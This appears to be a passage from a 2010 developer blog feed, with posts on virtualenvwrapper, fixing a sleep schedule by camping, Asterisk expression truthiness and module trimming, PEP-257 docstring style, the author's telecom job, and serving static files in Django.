virtualenvwrapper allows you to store as many virtual environments as you want, in a single non-project location. It provides convenient scripts for creating, editing, switching, and removing virtual environments with ease.

Here’s how I’d use virtualenvwrapper to create a new test environment and do a bit of work in it:

rdegges@solitude:~/random_project$ mkvirtualenv --no-site-packages testnose
New python executable in testnose/bin/python
Installing setuptools............done.
virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/predeactivate
virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/postdeactivate
virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/preactivate
virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/postactivate
virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/get_env_details
(testnose)rdegges@solitude:~/random_project$ pip install nose
Downloading/unpacking nose
 Downloading nose-0.11.4.tar.gz (256Kb): 256Kb downloaded
 Running setup.py egg_info for package nose
 no previously-included directories found matching 'doc/.build'
Installing collected packages: nose
 Running setup.py install for nose
 no previously-included directories found matching 'doc/.build'
 Installing nosetests-2.6 script to /home/rdegges/.virtualenvs/testnose/bin
 Installing nosetests script to /home/rdegges/.virtualenvs/testnose/bin
Successfully installed nose
Cleaning up...
# do some testing here ...
(testnose)rdegges@solitude:~/random_project$ deactivate
rdegges@solitude:~/random_project$

Nice, eh? Now, let’s say I want to work on another virtual environment that I’ve already defined, it’s as easy as:

rdegges@solitude:~/random_project$ workon pycall
(pycall)rdegges@solitude:~/random_project$

Just use the workon command to instantly switch into an already defined virtual environment. And if I want to remove a virtual environment?

(pycall)rdegges@solitude:~/random_project$ deactivate
rdegges@solitude:~/random_project$ rmvirtualenv testnose
rdegges@solitude:~/random_project$

And bam, just like that, testnose is gone.

Give virtualenvwrapper a Try

It really is an awesome, extremely useful program. If you use virtualenv currently, you shouldn’t write another line of code before installing and using it.

virtualenvwrapper can be downloaded here. The project website has great documentation, and plenty of examples which show off the rest of the great features that virtualenv has to offer.

Among other things, virtualenv also provides hooks for setting up virtual environments, which allow you to get really creative, and save yourself a LOT of time by automating common virtualenv tasks.

How to Reset Your Sleep Schedule, Seriously

r@rdegges.com (Randall Degges) — Sat, 04 Sep 2010 00:00:00 -0700

Every now and then on Hacker News, I see a new discussion about resetting your sleep schedule. Resetting your sleep schedule is the process of shifting your awake hours from night to day.

I’m a night person. I go to bed late, and wake up late. However, for many night owls like myself, this can cause a lot of problems. Often you’re required to be awake for work early in the morning (9 to 5, anyone?), and most of the businesses you need to use daily (grocery stores, barber shops, etc.) operate only during the day.

So, the question of course, is how can you reset your sleep schedule easily without any pain? Numerous web sites would have you believe that your sleep cycle can be hacked, by doing some particular ritual.

Wisebread suggests that if you don’t eat for roughly 12 to 16 hours before you want to wake up, your body will automatically adjust to a new schedule without any work.

Gigaom says that you should just start doing it. Force yourself to wake up at the desired time each day, and you’ll get used to it quickly.

There are a million websites (Google says there are ~7,570,000) with different suggestions for hacking your sleep cycle.

Why Most Sleep Hacks Don’t Work

Most sleep hacks don’t work because they require a lot of hard work and willpower. I can tell you from lots of experience, that after going to bed at 4AM, waking up at 6AM is not trivial (and it’s even harder to stay awake until 10PM the following night!).

If you have the dedication and willpower to follow through with the sort of punishment that most sleep hacks require, then more power to you. But for most people, that is not a viable option.

Instead of trying to hack your sleep, I recommend a more simple, natural approach:

Go Camping

Camping is a great way to help reset your sleep schedule.

First of all, it’s fun (you can do it over a weekend). An important part of adjusting something major (like your sleep cycle) is to make it enjoyable. If you’re a night owl trying to get into a 9 to 5 schedule, then you might as well do something that will not just ‘get you through the day’ (e.g. caffeine overdose), but will actually make you feel normal during those hours.

Secondly, camping is cheap and natural. You don’t need to starve yourself, you don’t need to take any drugs, and you don’t need to spend a lot of money talking to your physician about your sleep woes.

Thirdly, after you come back from your short camping trip, you’ll not easily fall back into your old schedule. You’d be surprised how easily the human body can adjust to natural day / night cycles, and how long those effects can last.

How it Works

The way that camping helps align your sleep cycle with day / night rotation, is simple-it exposes you to the elements.

When you spend most of your time inside your house (apartment, office, etc.), you are separated from most natural elements. This includes (among other things): sunlight, night (darkness), temperature, and sound.

While camping, you’re exposed to sunlight as soon as the sun rises. Where I live in California, the sun typically comes up around 6AM. An hour or two of sunlight in your eyes, shining through your tent, will naturally make waking up easier.

At night time, whereas you’d usually be awake very late, you’ll find that when out camping, there isn’t all that much to do. Besides the lack of light, without a constant stream of things to keep you busy (computers, movies, etc.), you’ll feel much more relaxed, and will begin feeling tired a lot sooner than you would otherwise.

Sound has an equally important role. When camping, you’re surrounded by nature. Depending on where you are, you may hear birds chirping in the morning, crickets singing at night, and owls hooting. For me, anyhow, these sounds help me both fall asleep easily, as well as wake up when the animals start making noise.

And don’t forget the impact that temperature has. At night, when the temperature drops, you won’t feel comfortable until you’re snuggled into a sleeping bag to keep warm. When the sun comes up in the morning and you start to roast in your sleeping back, your body will quickly adjust and help you out of bed.

My Experiment

My wife and I just got back from a short three day camping trip with some of my wife’s family and friends. Last weekend we left Friday for San Simeon state park in California, and got back to our apartment in Los Angeles late Sunday afternoon.

I’ve been a night owl as long as I can remember, usually falling asleep around 3 or 4AM, and waking up at 10AM or so depending on my daily responsibilities. So, one goal of this trip was to document my sleep schedule, and see whether or not it is possible to reset one’s internal clock over a 3 day 2 night trip.

Friday

I wake up at 10AM, and hop into the shower. About 45 minutes later my wife and I are on the road heading to the campgrounds (a 4.5 hour drive).

After arriving at the campsite, and feeling a bit tired from the long drive, my wife and I setup our tent quickly, dump off our clothes and items, then drive to the nearest town to get some food and supplies.

When we come back, sunset is fast approaching, so we decide to walk to the beach (just a few steps away from our campground), and walk along the coast as the sun sets.

We get back to camp, start a fire, and sit around chatting with one another for approximately two hours.

It’s dark, we’re tired, so we decide to go to bed. It’s around 9PM, and it feels like it’s 2AM. It’s probably 50F outside, and with the cold weather it feels especially good to be in a warm sleeping bag :)

Saturday

The sun comes up early, probably 6 or 7AM, and I hear birds chirping loudly outside of the tent. I try to stay in bed for a little while, and manage to go for about an hour longer before I’m way too hot in my sleeping back, and jump out of bed. I feel relaxed, and not tired at all. I haven’t woken up at 8AM willfully in a long time.

My wife and I spend most of the day hanging around the campsite, but take a short trip to the nearby town and walk up and down their main street to see all the little shops.

When we get back to the campsite, we all sit around the campfire talking and eating chili. Around 10PM, my wife and I feel tired again, so we go back to the tent and play some cards before falling asleep.

It was extremely easy to fall asleep. The cold weather outside made my sleeping bag feel all the more comfortable, and I just drifted off in several minutes.

Sunday

I wake up a bit before 8AM, listening to birds chirping and feeling the sun on my face. Feels good. I feel rested. We pack up the campsite, and drive back home.

After getting home and catching up on emails, I start feeling tired again, and doze off at 11PM with no problems.

This Entire Week

So far, I’ve been going to bed at around 11PM, and waking up at 8AM every day this week, with no issues. I feel great. I haven’t had any problems going to bed or waking up early.

What Will You Do?

While some of the sleep hacks you’ll read about online may seem more convenient than going camping for a weekend, I’d highly recommend camping to anyone who is serious about adjusting their schedule.

In addition to resetting your sleep schedule, you’ll also get out of the house for a bit, and hopefully de-stress yourself for a couple days.

Asterisk Expression Truthiness

r@rdegges.com (Randall Degges) — Wed, 18 Aug 2010 00:00:00 -0700

Ever done any extensive Asterisk dial plan coding? If so, chances are you’ve been frustrated with Asterisk expressions at one point or another.

If you’re unfamiliar with Asterisk coding, you should read this awesome book on the subject.

NOTE: The following is written with Asterisk 1.6+ in mind. If you’re using an older version of Asterisk, this may not be completely true.

Asterisk Expression Basics

Asterisk expressions are used in various Asterisk dial plan applications, to help control the flow of your program. They are typically used as if statements to help branch logic.

Let’s look at an example from the latest version of FreePBX, an extremely popular open source Asterisk web front-end:

; Rings one or more extensions. Handles things like call forwarding and
; DND. We don't call dial directly for anything internal anymore.
; ARGS: $TIMER, $OPTIONS, $EXT1, $EXT2, $EXT3, ...
; Use a Macro call such as the following:
; Macro(dial,$DIAL_TIMER,$DIAL_OPTIONS,$EXT1,$EXT2,$EXT3,...)
[macro-dial]
exten => s,1,GotoIf($["${MOHCLASS}" = ""]?dial)
exten => s,n,SetMusicOnHold(${MOHCLASS})
exten => s,n(dial),AGI(dialparties.agi)
exten => s,n,NoOp(Returned from dialparties with no extensions to call and DIALSTATUS: ${DIALSTATUS})

In this short snippet, we see the Asterisk expression $["${MOHCLASS}" = ""]?dial. This short expression is the equivalent of the following pseudo code (which looks curiously like python):

def macro_dial(*args):
 global MOHCLASS

 if MOHCLASS:
 set_moh(MOHCLASS)

 dial(*args)

Makes sense so far, right? Basically, if MOHCLASS is false, then the code will not execute the SetMusicOnHold application before performing a dial.

And of course, expressions aren’t limited to a single statement, they can be used pretty much anywhere. Here’s another snippet from the latest version of FreePBX:

exten => s,n,Set(DIALSTATUS=${IF($["${DIALSTATUS_CW}"!="" ]?${DIALSTATUS_CW}:${DIALSTATUS})})

exten => s,n,GosubIf($["${SCREEN}" != "" | "${DIALSTATUS}" = "ANSWER"]?${DIALSTATUS},1)

As you can see, expressions provide most common logical operators like AND, OR, NOT, etc.

Truthiness

In an attempt to demonstrate the truthiness of Asterisk expression, I’ll dissect the FreePBX code shown in the previous section.

Let’s start by testing all aspects of the original FreePBX expression:

exten => s,1,GotoIf($["${MOHCLASS}" = ""]?dial)

In order to test it, let’s run some dial plan code.

NOTE: I’m not showing the Asterisk output for any of the tests, because it would take an enormous amount of space and be essentially useless. So you can take my answers to be true (I’ve tested them, I promise!), or test it for yourself.

Test 1

The first thing we’ll test is what happens if the MOHCLASS doesn’t exist?

exten => s,n,GotoIf($["${MOHCLASS}" = ""]?dial)
exten => s,n(dial),NoOp()

The output of our first test shows that the expression resolves to true (1). That means that, $["${MOHCLASS}" = ""] can be used to test whether or not the MOHCLASS variable exists.

Test 2

In this test, we’ll see what happens if MOHCLASS has been defined, and set to a line of text.

exten => s,n,Set(MOHCLASS=hithere)
exten => s,n,GotoIf($["${MOHCLASS}" = ""]?dial)
exten => s,n(dial),NoOp()

This time, the expressions returns false (0). This makes sense, as we wouldn’t expect Asterisk to think that both "" and hithere are equal.

Test 3

Now, let’s see what happens if MOHCLASS is defined, and set to 0 (false).

exten => s,n,Set(MOHCLASS=0)
exten => s,n,GotoIf($["${MOHCLASS}" = ""]?dial)
exten => s,n(dial),NoOp()

Surprisingly, the expressions resolves to false. Therefore, 0 != "".

Test 4

How about if MOHCLASS is defined, but not assigned any value?

exten => s,n,Set(MOHCLASS=)
exten => s,n,GotoIf($["${MOHCLASS}" = ""]?dial)
exten => s,n(dial),NoOp()

This time, we get true (1). So if a variable is set, but has no value, the checking of the variable is equal to an empty string, e.g. "", will return true.

Test 5

And what if MOHCLASS is set to the empty string?

exten => s,n,Set(MOHCLASS="")
exten => s,n,GotoIf($["${MOHCLASS}" = ""]?dial)
exten => s,n(dial),NoOp()

Again, it resolves to true (1). So, as expected, "" = "".

Truthiness Table

To summarize what we’ve learned, here’s a simple truthiness table:

expression true?
---------- -----
"" = "" 1
0 = "" 0
= "" 1
blah = "" 0
undef = "" 0

As you can see, Asterisk is (for the most part) relatively easy to comprehend when it comes to truthiness. The only surprising expression we encountered was the: 0 = "" expression, which is not true.

Questions?

Got any questions? Feel free to shoot me an email or message me on twitter.

Python Docstring Symmetry

r@rdegges.com (Randall Degges) — Tue, 17 Aug 2010 00:00:00 -0700

If you’ve been doing Python for more than a month, then I’m sure you’re familiar with PEP-8, the official Python style guide. If you look at PEP-8, it doesn’t explicitly define any docstring style guidelines, but instead recommends following PEP-257’s rules.

In the Python community, it is considered a sin if you don’t strictly follow PEP-8. This is one of the things I really enjoy about Python, the community helps encourage best practices, and good coding style. Nothing wrong with that.

However, I hate to say it, but: PEP-257 is bullshit.

What I Like About PEP-257

I don’t hate everything about PEP-257, so before I get to the bad part, let me start by talking briefly about what I like.

PEP-257 encourages developers to write docstrings for all modules, functions, and classes. This is awesome. I totally agree. Docstrings are extremely useful for developers, and help show off some of Python’s awesome self-documenting and introspection capabilities.
PEP-257 encourages the use of triple double quotes (""") as docstring delimiters. I agree again. It is nice to have consistency across multiple programs.
PEP-257 suggests that very short one line docstrings be placed on a single line, but still use triple double quotes (""") as delimiters. Again, this rocks. Let’s say you’re writing a private method for a class, and it is pretty self explanatory, don’t kill yourself writing long docstrings:

def _something_simple(x, y):
 """Adds x and y."""
 return x+y

PEP-257 says that you should NOT put your function signatures into your docstring, as they are already available through introspection. Makes perfect sense: don’t be redundant:

# Don't do this, please.
def stupid_function(a):
 """stupid_function(a) -> int"""
 return 4

So, as you can (hopefully) see, I’m not some crazy rebel who hates standard conventions or anything. I love order just as much as the next programmer.

Where PEP-257 Goes Crazy

The main bulk of PEP-257 is describing how multi-line docstrings should look, and this is where things get ugly.

Basically, PEP-257 wants your multi-line docstrings to start immediately after the opening triple quotes ("""), and end with a blank line. Here’s an example:

# This example was stolen directly from PEP-257.
def complex(real=0.0, imag=0.0):
 """Form a complex number.

 Keyword arguments:
 real -- the real part (default 0.0)
 imag -- the imaginary part (default 0.0)

 """
 ...

Here’s another example with a more full docstring:

def do_something(x=0.0, y=5):
 """Calculates your best friend's birthday by multiplying two numbers
 together, then returning 4.

 Keyword Arguments:
 x -- anything, I don't care
 y -- seriously

 """
 ...

Now, like most programmers I know, I’m a bit of an organizational freak. I like symmetry in my code, comments, and I have to have things perfectly aligned. PEP-257’s suggested multi-line docstring format drives me crazy.

I have two big problems with PEP-257’s suggested format:

PEP-257 wants me to start my docstring immediately after the triple quotes.
PEP-257 wants me to leave a blank line at the end of my docstring.

It doesn’t look clean or organized putting your comments immediately after the opening triple quotes. It also seems unnecessary to add an extra blank line at the end of each docstring.

What I Propose

Instead of listening to PEP-257, I suggest that Python developers instead adapt my style:

def complex(real=0.0, imag=0.0):
 """
 Forms a complex number.

 :param real: The real part (default 0.0).
 :param imag: The imaginary part (default 0.0).
 :return: An imaginary number, or False.
 """
 ...

This takes up the same amount of lines, except looks more symmetrical. We now have an uncluttered docstring, that is easier to scan over with your eyes, and looks nicer.

The description of what you’re documenting goes on the line directly below the opening triple quotes, and there is no blank line before the end of the docstring.

How to Streamline Asterisk

r@rdegges.com (Randall Degges) — Mon, 16 Aug 2010 00:00:00 -0700

So, you use Asterisk professionally, for fun, or both, and you want to know how to optimize the shit out of your Asterisk platform? No problem, I’ve got you covered.

Grab a beer, free up the next 2 hours of your time, and let’s get to it!

Why Do This?

To speed up your Asterisk platform. Asterisk is a large and complex PBX system with hundreds of features, commands, and various components. Each component that is in use adds additional overhead to your Asterisk system in the form of RAM, CPU, and sometimes disk space.

To make your Asterisk PBX perform at its best, it is useful to strip out everything you don’t need, and force your Asterisk system to perform its best.

Preparation

To make this quick, you should already have a box with Asterisk up and running, ideally with some working call routing code of some sort. If you manage an Asterisk server at work, that will do just fine.

WARNING: Don’t attempt this stuff live on production servers unless you really like abuse.

Approach

The approach I like to take with my Asterisk slimming, streamlining, or whatever you want to call it, is to install Asterisk initially with as many features as possible, disable everything, then selectively enable the features I need, one at a time.

This is called a whitelisting approach, as you block everything by default, and then manually allow only certain features (think network security).

This method requires more effort to setup and maintain, but leads to the best possible performance.

Install Asterisk

If you are familiar with Asterisk installation, you can go ahead and skip to the next section. Good work, smart guy!

If you’ve never installed Asterisk before, read my guide.

If you installed Asterisk from your OS’s package manager (yum, apt, etc.), then you can also skip this section.

So, I guess you installed Asterisk from source. Nice. That’s the best way (but you already know that). Anyway, as I mentioned in the previous section, I like to install Asterisk with as many features enabled as possible. This way, if I ever need to get some extra functionality, I can simply enable it, and not have to completely re-install Asterisk from source.

If you aren’t sure of how to selectively choose which features are installed when you are compiling Asterisk, all you have to do is run make menuselect in the Asterisk source directory (this also applies to asterisk-addons), after running ./configure, but before running make.

While installing Asterisk, you might run the following commands:

$ cd asterisk-latest
$ ./configure
$ make menuselect
$ make
$ sudo make install

When you run make menuselect, you’ll see an ncurses based GUI window, that lets you use the arrow keys, enter, and tab to navigate around and choose which components to install. You should choose as many as possible.

Figure Out Which Features You’re Using

This step is important. You need to figure out what parts of Asterisk you need in order to do what you’re doing before you can even think about removing unnecessary junk.

Here are some helpful tips for figuring out what parts of Asterisk you need:

Read this page on voip-info. It has a pretty good list of module and configuration file dependencies.
Look at all of your code in extensions.conf, and write down all of the application names you use. This would be stuff like Plaback, Monitor, etc.
Which sort of protocols does your system support? SIP? IAX? DAHDI? ZAPTEL?
What sort of call codecs do you support? ULAW, G729, etc.?
Which configuration files have you explicitly put code into? indications.conf? smdi.conf? etc.?

I suggest writing these all down somewhere. It’s not critical to have all of them perfectly figured out at the start, you can always figure it out later via trial-and-error.

Get a List of All Modules

We now need to get a list of all the Asterisk modules that are currently available on your system. If you compiled Asterisk from scratch, and read my Installing Asterisk section, you should have a ton.

On most Linux systems, you can get a list of all your Asterisk modules by running the following command: ls /usr/lib/asterisk/modules/. This may be different for you, depending on what operating system you’re using.

Disable Everything

Before enabling the modules we need, we’re going to disable everything. This is part of our whitelisting approach to Asterisk slimming.

To do this, open up your modules.conf file (usually located in /etc/asterisk/). Your file should look something like:

;
; Asterisk configuration file
;
; Module Loader configuration file
;

[modules]
autoload=yes
;
; Any modules that need to be loaded before the Asterisk core has been
; initialized (just after the logger has been initialized) can be loaded
; using 'preload'. This will frequently be needed if you wish to map all
; module configuration files into Realtime storage, since the Realtime
; driver will need to be loaded before the modules using those
; configuration files are initialized.
;
; An example of loading ODBC support would be:
;preload => res_odbc.so
;preload => res_config_odbc.so
;
; res_phoneprov requires func_strings.so to be loaded:
preload => func_strings.so
;
; Uncomment the following if you wish to use the Speech Recognition API
;preload => res_speech.so
;
; If you want, load the GTK console right away.
;
noload => pbx_gtkconsole.so
;load => pbx_gtkconsole.so
;
load => res_musiconhold.so
;
; Load one of: chan_oss, alsa, or console (portaudio).
; By default, load chan_oss only (automatically).
;
noload => chan_alsa.so
;noload => chan_oss.so
noload => chan_console.so
;

Change the line that says autoload=yes to autoload=no. This will prevent Asterisk from automatically loading modules.

The next thing you need to do is preload any required modules. As shown in the sample config above, if you need odbc support, you should put preload => res_odbc.so directly below your autoload=yes line.

After you’ve gotten all the preloads finished, delete everything else in the file. Seriously. You won’t need it anymore :)

Enable Only What You Need

You should still be in your modules.conf file. Now, remember before when you got a list of all the Asterisk modules available on your system (ls /usr/lib/asterisk/modules/)? Do the following:

Below all of your preload lines in modules.conf, insert load => module_name.so for each module that starts with res_, e.g.

;load => res_adsi.so
;load => res_agi.so
;load => res_clioriginate.so
;load => res_config_curl.so
;load => res_convert.so
;load => res_curl.so
;load => res_crypto.so
;load => res_indications.so
;load => res_limit.so
;load => res_monitor.so
;load => res_musiconhold.so
;load => res_phoneprov.so
;load => res_smdi.so
;load => res_timing_dahdi.so
;load => res_timing_pthread.so

Wondering why you need to do all of the modules with res first? Because these modules are special, they are resources. Resource modules need to be loaded before any other modules as they often satisfy dependency issues.

Now, feel free to insert load => module_name.so lines for your remaining modules that don’t start with res_, e.g.

;load => app_addon_sql_mysql.so
;load => app_adsiprog.so
;load => app_alarmreceiver.so
;load => app_amd.so
;load => app_authenticate.so
;load => app_cdr.so
;load => app_chanisavail.so
;load => app_channelredirect.so
;load => app_chanspy.so
;load => app_controlplayback.so
;load => app_dahdibarge.so
;load => app_dahdiras.so
;load => app_dahdiscan.so
;load => app_db.so
;load => app_dial.so
;load => app_dictate.so
;load => app_directed_pickup.so
;load => app_directory.so
;load => app_disa.so
;load => app_dumpchan.so
;load => app_echo.so
;load => app_exec.so
;load => app_externalivr.so
;load => app_festival.so
;load => app_flash.so
;load => app_followme.so
;load => app_forkcdr.so
;load => app_getcpeid.so
;load => app_ices.so
;load => app_image.so
;load => app_macro.so
;load => app_meetme.so
;load => app_milliwatt.so
;load => app_minivm.so
;load => app_mixmonitor.so
;load => app_morsecode.so
;load => app_mp3.so
;load => app_nbscat.so
;load => app_page.so
;load => app_parkandannounce.so
;load => app_playback.so
;load => app_privacy.so
;load => app_queue.so
;load => app_read.so
;load => app_readexten.so
;load => app_readfile.so
;load => app_record.so
;load => app_saycountpl.so
;load => app_sayunixtime.so
;load => app_senddtmf.so
;load => app_sendtext.so
;load => app_setcallerid.so
;load => app_sms.so
;load => app_softhangup.so
;load => app_speech_utils.so
;load => app_stack.so
;load => app_system.so
;load => app_talkdetect.so
;load => app_test.so
;load => app_transfer.so
;load => app_url.so
;load => app_userevent.so
;load => app_verbose.so
;load => app_voicemail.so
;load => app_waitforring.so
;load => app_waitforsilence.so
;load => app_while.so
;load => app_zapateller.so

;load => cdr_addon_mysql.so

;load => chan_agent.so
;load => chan_dahdi.so
;load => chan_iax2.so
;load => chan_local.so
;load => chan_mgcp.so
;load => chan_ooh323.so
;load => chan_oss.so
;load => chan_phone.so
;load => chan_sip.so
;load => codec_adpcm.so
;load => codec_alaw.so
;load => codec_dahdi.so
;load => codec_g726.so
;load => codec_gsm.so
;load => codec_lpc10.so
;load => codec_ulaw.so

;load => format_g723.so
;load => format_g726.so
;load => format_g729.so
;load => format_gsm.so
;load => format_h263.so
;load => format_h264.so
;load => format_jpeg.so
;load => format_mp3.so
;load => format_pcm.so
;load => format_sln.so
;load => format_sln16.so
;load => format_vox.so
;load => format_wav.so
;load => format_wav_gsm.so

;load => func_audiohookinherit.so
;load => func_base64.so
;load => func_blacklist.so
;load => func_callerid.so
;load => func_cdr.so
;load => func_channel.so
;load => func_curl.so
;load => func_cut.so
;load => func_db.so
;load => func_enum.so
;load => func_env.so
;load => func_extstate.so
;load => func_global.so
;load => func_groupcount.so
;load => func_iconv.so
;load => func_lock.so
;load => func_logic.so
;load => func_math.so
;load => func_md5.so

;load => func_module.so
;load => func_rand.so
;load => func_realtime.so
;load => func_sha1.so
;load => func_shell.so
;load => func_strings.so
;load => func_sysinfo.so
;load => func_timeout.so
;load => func_uri.so
;load => func_version.so
;load => func_vmcount.so
;load => func_volume.so

;load => pbx_config.so
;load => pbx_loopback.so
;load => pbx_spool.so

Now, go through the list of modules you have in your modules.conf, and uncomment the ones that you absolutely can’t live without.

I realize that the above steps aren’t exactly super descriptive, so keep reading. The next section will give you some additional pointers.

Tips for Slimming

At some point during this article, you’ve probably thought to yourself, How do I know which modules are absolutely essential to my setup?.

If you aren’t able to figure it out, there’s one foolproof way to figure it out: trial-and-error.

Don’t feel bad about doing trial-and-error here either, Asterisk can be complex.

Configure your logger.conf to output with maximum verbosity to the full logfile. Your logger.conf file should have a line that looks like: full => notice,warning,error,debug,verbose.
Try to restart Asterisk: /etc/init.d/asterisk restart. Then check your full logfile: tail /var/log/asterisk/full, and look for lines that contain WARNING or ERROR. Asterisk provides great error messages. So if you aren’t loading a necessary module, it will tell you.
Load the modules you were missing, and go back to step 1.

You know you’re done when you’ve gone through every single module on your system, and know exactly which ones you need to have enabled to make your system run.

Results

Streamlining your Asterisk installs has great benefits. Not only will your system run much faster, and more efficiently than before, but you’ll also know a lot more about Asterisk, how it works, and how to modify its behavior.

One of the great strengths of Asterisk is its module system, which is extremely dynamic and provides a great interface for developers to add functionality.

Got any questions? Feel free to shoot me an email, I’d be happy to help.

What I Do At Work

r@rdegges.com (Randall Degges) — Sun, 15 Aug 2010 00:00:00 -0700

I realized yesterday, while finishing some website updates, that I haven’t actually written a post about my new job, what I do, and how I do it. Not that it is particularly amazing or anything like that, but I figured other coders interested in startups, best-practices, telephony, python, or any combination of those items may be interested.

Where I Work

Several months ago (in early February, 2010), I took a job offer to work at RCG Communications, LLC, which is a small (but highly profitable) telecommunications company based in Georgia.

Now, not to be confusing, but I technically work for several companies: RCG Communications, RCI Telecommunications, GlobalRoute, and several others, which are all legally distinct for various encapsulation related issues. Although, we’re currently forming a new company (whose name has not yet been decided), that will become my primary employer, and will lease out code and services to our other companies (this will make code ownership rights far less confusing).

Why I Took the Job

At my previous job with Fonality (an awesome mid-size tech company), I worked extensively with Asterisk, Linux, and all sorts of telephony stuff. It was my job to help customers, and write custom telephony software to complement our Fonality PBX systems for companies who needed more functionality than our base system provided.

Working at Fonality was really fun. I got to know some of the coolest tech people in the industry, got all the free information I wanted, got to do extensive research and testing for Asterisk platforms, and had the pleasure of working on some really awesome product lines. All the while working on my own open source code, libraries, projects, and friendships.

Despite enjoying working for Fonality, I had an urge to try something new, and get involved in a fast moving company that would really push the boundaries of my technical knowledge, and force me to become a better developer.

When I met RCG’s CEO, and was given a job offer, I immediately knew that it would be the opportunity I was looking for. RCG really needed a lead programmer with my qualifications, and I really needed a new project with lots of challenges and opportunity.

What Our Companies Do

RCG Communications and RCI Telecommunications both offer the same service: a free telephone-based conferencing service with a hosted web portal.

GlobalRoute, one of our newest companies, is a back end termination provider for other VoIP and telephony companies. We offer domestic and international termination (in bulk) for fractions of the cost of other large providers.

Our Teleconferencing Platform

Our teleconferencing platform is currently the main focus of my work. It is a pretty large system, which has been written using the latest tech and best practices available.

Basically, we provide callers with their own dedicated phone numbers to use (upon request), and set them up with a private web portal login to begin managing and using our services.

The conferencing platform we’ve engineered offers a lot of cool features:

Each conference line provides a wide array of statistics for line owners. Things like caller usage statistics, detailed call traffic information, and real time call statistics and usage.
Each conference line can have an (almost) infinite amount of sub-conference rooms, which allows a single line to be used for millions of simultaneous conference calls all happening separately from each other.
Line owners can customize the sounds, music, and other audio features that are standard on conferencing systems (music on hold, etc.).
Line owners can perform various moderator actions on their conference lines. This includes muting, unmuting, banning, unbanning, etc.
Lines can provide outbound toll-free calls from withing the conference rooms, so that multiple callers can participate in outbound calls if needed.
Private conference rooms that two callers can join exclusively for mandatory private conversations.
Loads of other fun and stuff.

We have hundreds of users online at any given moment, and are madly trying to solve our growing pains and scale efficiently.

Current Status

Since I started working on the project, we’ve made a lot of changes.

The single largest project has been re-writing the web portal. We completely scratched the old PHP (CGI) website we had, and replaced it with a dynamic, high performance Django web portal that can scale across multiple servers and databases very well.

We also setup a very cool system that allows our Asterisk servers to directly communicate with our Django site to get rid of redundant code, and allow us to provide a database independent API for basically all of our various interconnecting services.

The next item on the TODO list is to modularize our Asterisk platform (more details on this coming soon), and provide a truly awesome telephony core that will be easy to maintain, bug fix, and provide features for.

Life is Good

I’ve really been enjoying these past few months. I’ve had a chance to build some really awesome software, learn a lot of new techniques and best-practices, and help architecture what I think will be some of the most elegant telephony services in the world.

I’m really excited to be working on all of our new advances and software, especially now that we have a very cool core platform that will allow us to re-define traditional telephony services, and let us build rock solid, high performance telephony systems.

Serving Static Content With Django

r@rdegges.com (Randall Degges) — Sun, 04 Jul 2010 00:00:00 -0700

NOTE: I wrote this article a while back, and it’s content is dated. Django now automatically serves static content by default, so if you’re having issues getting static files working you should consult the official documentation.

A question that is frequently asked by new Django programmers is: “How can I serve static content (CSS, images, Javascript) with the Django’s development server?”. This article is my attempt to answer that question by demonstrating the best practices way to do so.

Why Doesn’t Django Serve Static Content Automatically?

Well, Django (and python in general) is built around the idea that it is better to be explicit than implicit. This concept means that you may need to write more code in order to do something, but that by doing it that way, you preserve code clarity and reduce complexity.

This means that Django doesn’t force us to put all of static content into a single, specific folder or tree, we can set it up however we like. If we want to serve all static content from a directory called dontlookhere, we can (although I wouldn’t recommend it). It also gives us flexibility as to where our static content resides: we can place it on a remote server, another user account on our server, or in a directory completely outside of our project.

This flexibility is what Django provides for us at the cost of not being able to automatically detect / serve our static content-which is why you are reading this article :)

Where Should I Put My Static Content?

In general, the convention I like to use is to put all static content in my project directory underneath the static folder. This means that all of my new Django projects look something like:

crapola/
|-- __init__.py
|-- manage.py
|-- settings.py
|-- static
| |-- css
| | \-- style.css
| |-- img
| | \-- banner.png
| \-- js
| \-- menu.js
\-- urls.py

Which allows me to have a good looking URL schema for my projects. This isn’t a law (you can place it wherever you like), but this convention is followed by a good amount of developers, and seems like a logical location for static content.

For the rest of this article, I’ll assume that your project is going to serve all static content from the static directory shown in the output above.

Configure Your Settings

The first thing we need to do is configure our settings.py file, to let Django know where our static content is located. To do that, open up your favorite editor and add the following code:

import os

SITE_ROOT = os.path.realpath(os.path.dirname(__file__))
MEDIA_ROOT = os.path.join(SITE_ROOT, 'static')
MEDIA_URL = '/static/'

If you’re unsure of where exactly to place that code, here’s a complete example of a brand new settings.py file for the fake project crapola:

# Django settings for crapola project.

import os

DEBUG = True
TEMPLATE_DEBUG = DEBUG

ADMINS = (
 # ('Your Name', 'your_email@domain.com'),
)

MANAGERS = ADMINS

DATABASES = {
 'default': {
 'ENGINE': 'django.db.backends.', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.
 'NAME': '', # Or path to database file if using sqlite3.
 'USER': '', # Not used with sqlite3.
 'PASSWORD': '', # Not used with sqlite3.
 'HOST': '', # Set to empty string for localhost. Not used with sqlite3.
 'PORT': '', # Set to empty string for default. Not used with sqlite3.
 }
}

# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
# although not all choices may be available on all operating systems.
# On Unix systems, a value of None will cause Django to use the same
# timezone as the operating system.
# If running in a Windows environment this must be set to the same as your
# system time zone.
TIME_ZONE = 'America/Chicago'

# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'

SITE_ID = 1

# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True

# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale
USE_L10N = True

SITE_ROOT = os.path.realpath(os.path.dirname(__file__))

# Absolute path to the directory that holds media.
# Example: "/home/media/media.lawrence.com/"
MEDIA_ROOT = os.path.join(SITE_ROOT, 'static')

# URL that handles the media served from MEDIA_ROOT. Make sure to use a
# trailing slash if there is a path component (optional in other cases).
# Examples: "http://media.lawrence.com", "http://example.com/media/"
MEDIA_URL = '/static/'

# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a
# trailing slash.
# Examples: "http://foo.com/media/", "/media/".
